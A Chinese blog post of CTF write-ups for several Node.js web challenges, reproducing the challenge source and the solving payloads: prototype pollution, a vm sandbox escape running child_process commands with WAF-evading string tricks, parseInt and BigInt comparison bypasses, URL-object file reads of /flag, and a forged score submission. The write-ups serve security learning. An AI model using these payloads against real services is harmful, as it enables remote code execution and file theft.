最近做的几道JS题

几道JS题

参考文章

2024VCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// 引入Express框架和Node.js的文件系统模块,以及body-parser库用于解析HTTP请求体
const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');

// 创建一个Express应用实例
const app = express()

// 使用body-parser中间件来解析URL编码的请求体,并设置其对复杂对象的深度解析
app.use(bodyParser.urlencoded({
extended: true
}));

// 使用body-parser中间件来解析JSON格式的请求体
app.use(bodyParser.json());

// 定义一个处理POST请求的路由,当请求发送到/plz路径时触发
app.post('/plz', (req, res) => {

// 从请求体中提取venom对象
venom = req.body.venom

// 检查venom对象的属性个数是否少于3,并且welcome属性是否等于159753
if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
try {
// 检查venom对象是否有text属性,如果有则返回text的值
if(venom.hasOwnProperty("text")){
res.send(venom.text)
}else{
// 如果没有text属性,则返回"no text detected"
res.send("no text detected")
}
} catch {
// 如果try块中的代码抛出异常,则检查venom.text是否等于"flag"
if (venom.text=="flag") {
// 如果是,则读取文件系统中的"/flag"文件,并返回包含文件内容的消息
let flag=fs.readFileSync("/flag");
res.send("Congratulations:"+flag);
} else {
// 如果不是,或者try块中的代码抛出了异常,但不满足条件,则返回"Nothing here!"
res.end("Nothing here!")
}
}
} else {
// 如果venom对象的属性个数不少于3或welcome属性不等于159753,则返回"happy game"
res.end("happy game");
}
})

// 定义一个处理GET请求的路由,当请求发送到根路径时触发
app.get('/',
function(req, res, next) {
// 发送一个包含HTML的响应,其中包括一个表单,该表单通过POST请求发送到/plz路径
res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ');
});

// 启动服务器,监听80端口
app.listen(80, () => {
console.log(`listening at port 80`)
})

限制了venom对象的属性个数少于3,并且welcome属性是否等于159753。想拿flag还需venom.text==”flag”的同时抛出一个异常。

属性个数可以利用原型链污染绕过,接下来考虑如何令venom.hasOwnProperty(“text”)抛出异常:

venom[hasOwnProperty]=Jay17:这部分将venom对象的hasOwnProperty属性设置为1。正常情况下,hasOwnProperty是一个继承自Object.prototype的方法,用于检查对象是否拥有特定的自有属性。通过将它设置为一个字符串,venom.hasOwnProperty(“text”)的调用将会失败,因为hasOwnProperty已不再是一个函数。所以进入catch块

payload:

1
venom[__proto__][welcome]=159753&venom[text]=flag&venom[hasOwnProperty]=1

NKCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

沙箱逃逸

简单说就是获取一个沙箱外的对象然后调用constructor属性进而执行命令。这题是vm不涉及vm2沙箱逃逸。

/路由存在Runincontext(注意Object.create(null),相当于没有this关键字。但根据上面的文章我们知道还可以利用arguments.callee.caller返回沙箱外的一个对象)。可以在沙箱中执行经过waf检测后的代码:

1
2
3
4
5
6
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

没有可以用来进行恶意重写的函数(用Proxy来劫持属性)

先写个如果没有waf的EXP:

1
2
3
4
5
6
7
8
9
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('ls').toString();
}
})
`;

但注意这里process和exec被过滤了,当时想了很久要怎么绕过,看了这篇文章(但是当时不知道怎么套进去):

js绕过

网上看的其它师傅的写法:

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})

还有其它方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
throw new Proxy({}, {

get: function(){

const cc = arguments.callee.caller;

const aa = 'return Process'.toLowerCase();

const bb = 'child_pRocess'.toLowerCase();

const p = (cc.constructor.constructor(aa))().mainModule.require(bb);

return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));

}

})

还有其它解法:参考文章

js这种语言太灵活了

唉,学

官方wp:(原型链污染+沙箱逃逸):

首先process.__filename这东西存在原型链污染(和沙箱逃逸配合):

1
2
3
4
5
6
7
8
9
10
11
12
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename = "/app/hack.js";
}
})
//hack.js
console.log('shell.js');
//同理读shell.js
console.log("shell");
const p = require('child_process');
p.execSync(process.env.command);

然后就是一个[require任意文件包含](Node.js require () RCE 复现 | Jiekang Hu’s Blog (hujiekang.top))

[GFCTF2024]cool_index

贴些关键代码,主要逻辑就是注册时输入用户名和注册码,后端会进行校验,如果注册码等于特定值就会给premium身份,否则就是guest身份。premium用户能看flag

贴些关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//server.js
app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}

return res.status(400).json({ message: "用户名或邀请码无效" });
});
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}

premium判断逻辑:

1
voucher === FLAG + JWT_SECRET

这个感觉没啥利用点,如果我都知道FLAG了还去弄它干啥。。猜测是某种方式读JWT_SECRET然后进行伪造。

后面看了wp,这里直接传{"index":"7+1"}就行。。唉

这么传可以绕过第一个if的判断:

1
2
3
4
5
6
7
index = "7+1";
if (index >= 7) {
console.log("大于或等于7!!")
}
index = parseInt(index);
console.log(index)
//结果:7

然后会进第二个if,满足index不大于7,输出flag

后面看了官方wp,还有其它解法,这里直接复制粘贴了:

原本parseInt()接收字符串参数并转为整形数据类型,但如果目标是 Node 中的big int,转换时会造成精度损失,但能绕过正常的大小比较。

在 Node.js 中,BigInt 是一种数据类型,用于表示大整数,即超出 JavaScript 原生 Number 类型范围的整数值。JavaScript 中的普通 Number 类型有一个有限的范围,超出这个范围的整数值无法精确表示,会导致精度丢失或溢出。

BigInt 类型通过在整数值后面添加 n 后缀来表示,例如 1234567890123456789012345678901234567890n。它允许表示的整数范围比 Number 类型更大,因此在需要处理非常大的整数时非常有用。

images

bigbigint

或者:数字分隔符也可以绕过大小比较。

fenge1

fenge2

cbshop

这题写的不太好,移步:参考文章

主要看app.js,放一些比较关键的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const adminUser = {
username: "admin",
password: "😀admin😀",
money: 9999
};
//定义了adminUser对象,给了用户名密码和money
//login路由:
if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
req.session.username = username;
req.session.money = adminUser.money;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: 'admin login success!'
});
}
//buyApi
function buyApi(user, product) {
let order = {};
if(!order[user.username]) {
order[user.username] = {};
}

Object.assign(order[user.username], product);

if(product.id === 1) { //buy fakeFlag
if(user.money >= 10) {
user.money -= 10;
Object.assign(order, { msg: fs.readFileSync('/fakeFlag').toString() });
}else{
Object.assign(order,{ msg: "you don't have enough money!" });
}
}else if(product.id === 2) { //buy flag
if(user.money >= 11 && user.token) { //do u have token?
if(JSON.stringify(product).includes("flag")) {
Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
}else{
user.money -= 11;
Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
}
}else {
Object.assign(order,{ msg: "nononono!" });
}
}else {
Object.assign(order,{ code: 0, msg: "no such product!" });
}
Object.assign(order, { username: user.username, code: 3, money: user.money });
return order;
}
//script.js
function buy(product) {
fetch('/buy', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
'name': '/' + product.name,
'id': Number(product.getAttribute('idNum'))
})
})
.then(response => response.json())
.then(data => displayChange(data));
}

商店类型题目,大致逻辑就是得以admin用户的身份登录(给了adminUser对象),adminmoney9999。先看怎么才能获得admin这个身份:

1
2
3
if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
req.session.username = username;
req.session.money = adminUser.money;

结合const adminUser,把😀admin😀截取一下,直接在控制台上运行:

cbshop2

console.log("😀admin😀".substring(1,6))

成功登录:

cbshop3

然后就是buyApibuyflag的逻辑:

cbshop4

首先得满足if(user.money >= 11 && user.token),这里money肯定是足够的。注意这个user.token:

cbshop5

user变量只定义了usernamemoney属性,直接在请求体里加token:true并不满足要求:

cbshop6

那怎么样才能使user.tokenTrue呢?这里想到可以去用原型链污染直接“变”出一个token来。虽然user变脸不存在token属性,但js使用原型继承,对象可以通过原型链继承属性和方法。user如果没有token这个属性它会往上找。

但如何进行原型链污染?

原型链污染比较常见的函数有merge,copy,比如merge(aa,bb)这种。但这题没出现这俩函数,不过有这么个东西:

cbshop8

order为空对象,然后进行assign(order[user.username], product)这么个类似merge的操作。

看下它的定义:

cbshop7

然后/buy路由下定义了order=buyApi(user,req.body)。现在的思路就是令user.username__proto__然后请求体里放个"token":true就行。assign完了就行Order.__proto__下存在token:true。(userorder 的原型都是 Object。)

这里可以建个用户名为__proto__的然后进/buy路由触发,也能通过/changeUsername的路由改amdin的用户名然后触发:

cbshop10

然后就能进下一个if了:

cbshop11

看下逻辑:

cbshop12

判断请求体里有没有flag字段,不存在才会对product.name进行文件读取。现在的问题是我们需要绕过这个flag关键字的判断。

参考文章

readFileSync这个原生函数其实是可以传入一个URL对象的,URL对象会自动URL解码,这样就可以通过URL编码绕过waf了。但注意不能仅仅把req.bodyname字段的值URL编码,这里要传过去一个URL对象:

1
console.log(new URL('file:///fl%61g'));

cbshop13

把这个东西整体给name字段就行,不过不知道为啥我看其他人写的wp交这个可以我的就不行。。

只有删掉一些字段后才正常:

cbshop14

1
2
3
4
5
6
7
8
"name":
{
"href":"a",
"origin":"b",
"pathname":"/fl%61g",
"protocol":"file:",
"hostname":""
}

dino3d

前端小游戏,够1000000分给flag。

dino3d1

他这个游戏结束会发个数据包出去,但没法直接改,存在checkcode验证(注意这个check.php没法直接访问):

dino3d2

然后view-source直接在那一堆js文件里嗯搜带check.php的内容:

d3node

整理下这段js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 定义一个函数,参数为 e(分数)和 t(检查码)
function sn(e, t) {
// 确保 e 和 t 均不为假值
if (e && t) {
// 使用 fetch 方法发送 POST 请求
fetch("/check.php", {
method: "POST",
headers: {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
},
// 请求体包含分数(score)、检查码(checkCode)、时间戳(tm)
body: "score=" + parseInt(e).toString() + // 将分数转换为整数并转换为字符串
"&checkCode=" + md5(parseInt(e).toString() + t) + // 使用 MD5 加密生成检查码
"&tm=" + (+new Date).toString().substring(0, 10) // 获取当前时间戳并截取前10位
})
// 处理 fetch 返回的 Promise,解析成文本格式
.then(e => e.text())
// 处理返回的文本结果,弹出警告框显示结果
.then(e => alert(e));
}
}

定义了函数sn,这个e可以猜到应该是分数,但t是什么不知道,继续搜是否有其它地方调用了这个sn函数:

1
2
3
4
5
return game.sn(score.score,checkCode)
//同上搜checkCode:
var checkCode="DASxCBCTF"+salt
//同上搜salt
var salt="_wElc03e"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
from hashlib import md5
import time

url = "http://node5.buuoj.cn:26373/check.php"

headers = {
"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}

body = {
"score": "10000000",
"checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
"tm": str((time.time()))[:10]
}

res = requests.post(url, headers=headers, data=body)
print(res.text)

或者直接在控制台打:

1
2
var s = "DASxCBCTF_wElc03e";
console.log(game.sn(10000000, s));

参考文章

不过这两种方法我都没成功。。明明照着wp写的😵

CTFSHOW766

/source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
// node 8.12.0
const createError = require('http-errors');
const express = require('express');
const http = require('http');
const path = require('path');
const cookieParser = require('cookie-parser');
const logger = require('morgan');
const fs = require("fs");
const crypto = require('crypto');

const app = express();

// 从文件中加载 flag
const flag = fs.readFileSync('/flag', "utf-8");

// Session 管理
let session = require('express-session');
let FileStore = require('session-file-store')(session);
let identityKey = 'session';

app.use(session({
name: identityKey,
secret: crypto.randomBytes(32).toString('hex'),
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 1000 * 60 * 600
}
}));

// 中间件
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({extended: false}));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

// 中间件用于设置默认会话值
app.all('*', function (req, res, next) {
if (req.session.username === undefined) {
req.session.username = "guest";
req.session.is_verified = false;
}
next();
});

// 路由处理程序
app.get('/', function (req, res, next) {
res.render('index', {title: 'Node Proxy', username: req.session.username});
});

app.get('/test', function (req, res, next) {
res.send('test test');
});

app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname + '/app.js'));
});

app.post('/register', function (req, res) {
if (req.body.username !== undefined) {
req.session.username = req.body.username;
req.session.is_verified = false;
res.render('message', {message: 'You have registered successfully!'});
} else {
res.render('message', {message: 'No username provided!'});
}
});

app.post('/verify', function (req, res) {
if (checkIP(req) !== true) {
return res.status(403).render('message', {message: 'You are not from LOCAL!'});
}

let token = req.body.token;
if (token === 'you_will_never_know' && req.session.username !== 'admin') {
req.session.is_verified = true;
res.render('message', {message: 'VERIFIED SUCCESS!'});
} else {
res.render('message', {message: 'NO!'});
}
});

app.get('/flag', function (req, res) {
if (req.session.is_verified !== true) {
res.render('message', {message: 'NO! Your are not verified!'});
} else if (req.session.username == 'admin') {
res.render('message', {message: flag});
} else {
res.render('message', {message: 'NO! Your are not admin!'});
}
});

app.get('/proxy', function (req, res) {
let url = req.query.url ? req.query.url : '';
if (url) {
try {
http.get(url, (r) => {
const {statusCode} = r;
if (r && statusCode === 200) {
r.setEncoding('utf8');
let data = '';
r.on('data', (chunk) => {
data += chunk;
});
r.on('end', () => {
res.send(data);
});
} else {
res.render('message', {message: 'error'});
}
}).on('error', (e) => {
if (e.code === "ECONNRESET") {
res.send("Timeout occurs");
} else {
res.render('message', {message: e.message});
}
});
} catch (error) {
res.render('message', {message: 'error'});
}
} else {
res.render('message', {message: 'Missing url param!'});
}
});

// 错误处理
app.use(function (req, res, next) {
next(createError(404));
});

app.use(function (err, req, res, next) {
console.log(err)
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
res.status(err.status || 500);
res.render('error');
});

// 辅助函数,检查 IP 是否为本地主机
function checkIP(req) {
let ip = req.connection.remoteAddress;
if (ip.substr(0, 7) === "::ffff:") {
ip = ip.substr(7)
}
return ip === '127.0.0.1';
}

module.exports = app;

最近做的几道JS题
http://example.com/2024/04/20/2024-4-20-最近做的一些JS题/
作者
notbad3
发布于
2024年4月20日
许可协议